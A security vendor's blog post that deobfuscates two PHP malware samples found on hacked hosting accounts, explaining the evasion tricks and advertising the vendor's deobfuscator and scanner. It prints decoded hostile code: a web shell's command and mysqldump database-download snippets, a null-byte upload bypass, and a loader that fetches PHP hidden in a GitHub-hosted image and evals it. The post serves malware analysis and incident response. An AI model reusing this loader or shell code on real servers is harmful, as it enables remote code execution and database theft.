Blog

How to Deobfuscate PHP Malware, Step by Step

Two real samples from hacked hosting accounts, unpacked by hand: a custom decoder hidden behind fourteen evals, and a goto maze that loads its payload from an image on GitHub. Plus the free tool that does it for you.

A tangled knot of glowing orange-red code lines on the left being unwound by a beam of light into neat, readable blue lines of code on the right

You found a strange PHP file on a server. Before you delete it, it’s worth knowing what it did: whether it was a full web shell or a simple uploader, whether it read the database, and where it fetched code from. That tells you what else to look for and which passwords to change.

The problem is that you can’t read it. Malware authors obfuscate their files so that a quick look, a grep and most scanners find nothing they recognise. The good news is that nearly all obfuscation uses the same handful of tricks, and each one can be undone without running the file.

Here are two real samples from Pyxsoft Labs, unpacked step by step.

Rule zero: never run it

The tempting shortcut is to replace eval with echo and run the file with php. Don’t do that on a server you care about. Obfuscated files often run more than one eval, call system() along the way, or decode to code that writes files as soon as it is included. Everything below only reads the file and decodes strings with the same functions the malware uses, without executing the malware’s own code.

Sample 1: fourteen evals, one layer

Sample 421 was uploaded as ~/public_html/2.0/upload/doc.php%00.jpg. The name is a trick in itself: %00 is a null byte, an old way to get past upload forms that check whether a name ends in .jpg, while the file is saved and run as doc.php.

The file as we received it

One line of PHP, about 5 KB:

<?php
eval(base64_decode('ZnVuY3Rpb24gX0FLc2QoJF9ZaG5VUVV3KXskX1loblVRVXc9c3Vic3RyKCRfWWhuVVFVdywoaW50KShoZXgyYmluKCczNTM5MzYnKSkpOy...'));

Step 1: decode the outer layer

base64_decode of a literal string is safe to reproduce. Copy the string and decode it:

echo 'ZnVuY3Rpb24gX0FLc2Qo...' | base64 -d

What comes out is PHP again, formatted here for reading:

function _AKsd($_YhnUQUw){
    $_YhnUQUw = substr($_YhnUQUw, (int)(hex2bin('353936')));
    $_YhnUQUw = substr($_YhnUQUw, (int)(hex2bin('30')), (int)(hex2bin('2d323833')));
    return $_YhnUQUw;
}
$_iq3bm = '_AKsd';
$_lbjvqR5r = 'base64_decode';
function _wRaUWZJ1FUwxR9lfc($_J3fxoL5){
    global $_iq3bm; global $_lbjvqR5r;
    return strrev(gzinflate($_lbjvqR5r(_AKsd($_J3fxoL5))));
}
eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(_wRaUWZJ1FUwxR9lfc('udX7rJMfEsml...')))))))))))))));

Step 2: read the custom decoder

The file brings its own decoding function, and that’s the part worth reading slowly:

  • hex2bin('353936') is the text 596, hex2bin('30') is 0 and hex2bin('2d323833') is -283. The numbers are hex-encoded so they don’t look like numbers.
  • So _AKsd() cuts the first 596 characters and the last 283 off the string. They are padding, there to make the blob fail as base64 if you try to decode it directly.
  • $_lbjvqR5r holds the text base64_decode, and calling $_lbjvqR5r(...) calls that function. Function names kept in variables are there to keep base64_decode( out of a grep.

Put back together, the decoder is strrev(gzinflate(base64_decode(substr(substr($s, 596), 0, -283)))): remove the padding, base64, decompress, reverse. All of these are pure string functions, so you can apply them to the blob without running anything else:

php -r '$s = file_get_contents("blob.txt");
        echo strrev(gzinflate(base64_decode(substr(substr($s, 596), 0, -283))));'

Step 3: count the evals that matter

Fourteen nested evals look like fourteen layers to peel. They aren’t. The innermost eval runs the decoded code, which is the actual shell. That code doesn’t return anything, so the next eval receives NULL and does nothing, and so do the other twelve. The other thirteen are there to make the file look deeper than it is, and to wear out anyone decoding by hand.

What it was

The decoded payload is 6 KB of plain PHP: a compact web shell that calls itself doc.php. It has a file browser, upload, a text search across every file under a folder, a command box that runs shell_exec($_POST['cmd']), and a database tool that defaults to root@localhost and downloads a full mysqldump of whatever database you name:

if ($db) {
    header('Content-Type: application/sql');
    header('Content-Disposition: attachment; filename="dump.sql"');
    system("mysqldump --host=" . $host . " --user=" . $user . " --password=" . $pass . " " . $db);
    exit;
}

That’s useful to know. A shell with a mysqldump button means you have to assume the site’s database was copied, and the database password the site uses has to change.

Sample 2: a goto maze

Sample 1520 was found as ~/public_html/wp-includes/rest-api/fields/index.php, a file WordPress doesn’t have. Here it is, unedited:

<?php
 goto Z25Zw; Q1Crm: goto ITqzY; goto TopR_; XHd23: goto gBaDO; goto yMeM8; TopR_: jmdBf: goto BJNxA; RNWF8: $kmzf9 = "\150\164\164\x70\x73\x3a\x2f\57\162\x61\x77\56\x67\151\164\150\165\x62\x75\163\x65\162\143\157\156\x74\145\156\164\x2e\x63\x6f\155\57..."; goto NJBMV; txsSH: goto TTN4S; goto p1K6q; YVx1o: eval("\77\x3e" . $e7xC1); goto E1Cet; J1E1L: pf61b: goto RNWF8; H5dNn: $DbmgY = file_get_contents($kmzf9); goto Q1Crm; ...

Two tricks are layered here.

Step 1: the escaped strings

"\150\164\164\x70\x73" mixes octal (\150 = h) and hex (\x70 = p) escapes, randomly per character, so that no word in the file can be found with grep. These are ordinary PHP string literals, and any PHP parser reads them back. Here, the first one is a URL:

https://raw.githubusercontent.com/icm****/deface/refs/heads/main/images1.jpg

and "\77\x3e" is just ?>.

Step 2: put the gotos back in order

Six statements are chopped into small pieces behind 45 random labels, shuffled, and chained with goto. To read it, you follow the jumps the way PHP does:

  1. Start at the top: goto Z25Zw;
  2. Find the label Z25Zw:. It says goto pf61b;. Ignore whatever comes after a goto on the same chain (goto cyn61; here): it is never reached, it’s noise.
  3. pf61b: → goto RNWF8; → RNWF8: sets $kmzf9 to the URL → goto NJBMV; → goto xWcWP; → xWcWP: → goto H5dNn; → H5dNn: downloads the URL…

and so on, until the chain reaches the label at the very end. Writing down only the statements that aren’t goto, in the order you meet them, gives the real program:

$DbmgY = file_get_contents('https://raw.githubusercontent.com/icm****/deface/refs/heads/main/images1.jpg');
$N2rrC = strpos($DbmgY, '<?php');
if ($N2rrC !== false) {
    $e7xC1 = substr($DbmgY, $N2rrC);
    eval('?>' . $e7xC1);
} else {
    echo 'No PHP code found inside image.';
}

What it was

A loader, and that is why it’s so small. It downloads an “image” from a public GitHub repository, looks for <?php inside it, and runs everything from there on. The image may well open as a picture, and the PHP sits after the picture data. The real payload never touches the infected server: the attacker can change it on GitHub whenever they like, and every infected site runs the new version on its next request.

This also shows the limit of deobfuscating a single file. What this site ran is the content of images1.jpg on the day of each request, and the file on the disk only tells you where to look. Its error message is a small giveaway, too: No PHP code found inside image.

The tricks you will keep meeting

Most obfuscated PHP on hosting servers combines a few of these:

Trick What it looks like How to undo it
Encoding layers eval(gzinflate(base64_decode('...'))), often 5 to 20 deep, with str_rot13, strrev Apply the same decoders to the literal, innermost first
Escaped strings "\x62\141\163\x65" Any PHP parser reads them back
Names in variables $f = 'base64_decode'; $f($x) Substitute the value, then read the call
Character tables $O00O = urldecode("%6E1%7A..."); $O00O{38}.$O00O{12}... Build the table and look up each index
Custom decoders Padding, XOR keys, offsets hidden with hex2bin Read the function: it’s usually short and pure
goto shuffling Dozens of label: goto X; pieces Follow the jumps from the top, drop the gotos
Payload elsewhere file_get_contents(__FILE__), a remote URL, a cookie Find where the data comes from. Sometimes it isn’t in the file at all

Or let the tool do it

Doing this by hand is a good way to learn the tricks. Doing it on a Monday morning with forty files waiting isn’t. That’s why we built the Pyxsoft PHP Deobfuscator, a free page where you paste a file and get the readable code back.

It doesn’t run any PHP. It parses the file, follows the values the code builds from its own literals, and folds them with the same functions reimplemented in Go: the encoding layers and decoders above, character tables and $GLOBALS arrays, the file’s own decoder functions when they are pure, goto mazes put back in order, and payloads a file reads from itself. Both samples in this post come out as shown above, in one step.

On 365 obfuscated samples from Labs, it makes 336 readable, or 92%. What it can’t show is code that isn’t in the file: an eval($_POST['x']) runs whatever the attacker sends, and a loader like sample 2 runs whatever is on GitHub that day. In those cases it shows you where the code comes from, which is the next thing to look at.

A file like this is rarely alone

Whoever planted doc.php or the GitHub loader usually left more: a backdoor in a plugin, code injected into a core file, a second shell for when you find the first. Deobfuscating one file tells you what happened. Pyxsoft Anti Malware scans every account on the server to find where else it happened, and removes injected code without taking the site down. 7 days free, on cPanel, DirectAdmin or a server with no panel.